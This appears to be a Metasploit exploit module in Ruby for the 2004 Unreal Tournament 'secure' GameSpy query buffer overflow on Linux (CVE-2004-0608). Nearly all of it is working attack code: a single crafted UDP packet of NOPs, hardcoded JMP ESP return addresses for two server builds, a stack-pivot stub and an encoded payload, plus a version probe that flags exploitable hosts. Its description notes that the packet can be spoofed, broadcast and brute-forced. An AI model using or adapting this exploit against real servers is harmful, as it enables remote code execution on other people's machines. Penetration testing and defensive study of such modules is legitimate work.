123 lines
2.8 KiB
Ruby
123 lines
2.8 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::Udp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Unreal Tournament 2004 "secure" Overflow (Linux)',
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'Description' => %q{
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This is an exploit for the GameSpy secure query in
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the Unreal Engine.
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This exploit only requires one UDP packet, which can
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be both spoofed and sent to a broadcast address.
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Usually, the GameSpy query server listens on port 7787,
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but you can manually specify the port as well.
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The RunServer.sh script will automatically restart the
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server upon a crash, giving us the ability to
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bruteforce the service and exploit it multiple
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times.
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},
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'Author' => [ 'onetwo' ],
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'License' => BSD_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2004-0608'],
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[ 'OSVDB', '7217'],
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[ 'BID', '10570'],
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],
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 512,
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'BadChars' => "\x5c\x00",
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},
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'Platform' => 'linux',
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'Targets' =>
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[
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['UT2004 Linux Build 3120', { 'Rets' => [ 0x0884a33b, 0x08963460 ] }], #JMP ESP , (free/realloc) BSS pointer
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['UT2004 Linux Build 3186', { 'Rets' => [ 0x088c632f, 0x089eb2f0 ] }],
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],
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'DisclosureDate' => 'Jun 18 2004'))
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register_options(
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[
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Opt::RPORT(7787)
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], self.class)
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end
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def exploit
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connect_udp
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buf = make_nops(1024)
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buf[24, 4] = [target['Rets'][1]].pack('V')
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buf[44, 4] = [target['Rets'][0]].pack('V')
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buf[56, 4] = [target['Rets'][1]].pack('V')
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buf[48, 6] = "\x8d\x64\x24\x0c\xff\xe4" #LEA/JMP
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buf[0, 8] = "\\secure\\"
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buf[buf.length - payload.encoded.length, payload.encoded.length] = payload.encoded
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udp_sock.put(buf)
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handler
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disconnect_udp
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end
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def ut_version
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connect_udp
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udp_sock.put("\\basic\\")
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res = udp_sock.recvfrom(8192)
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disconnect_udp
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if (res and (m=res.match(/\\gamever\\([0-9]{1,5})/)))
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return m[1]
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end
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return
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end
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def check
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vers = ut_version
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if (not vers)
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print_status("Could not detect Unreal Tournament Server")
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return
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end
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print_status("Detected Unreal Tournament Server Version: #{vers}")
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if (vers =~ /^(3120|3186|3204)$/)
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print_status("This system appears to be exploitable")
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return Exploit::CheckCode::Appears
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end
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if (vers =~ /^(2...)$/)
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print_status("This system appears to be running UT2003")
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return Exploit::CheckCode::Detected
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end
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print_status("This system appears to be patched")
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return Exploit::CheckCode::Safe
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end
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end
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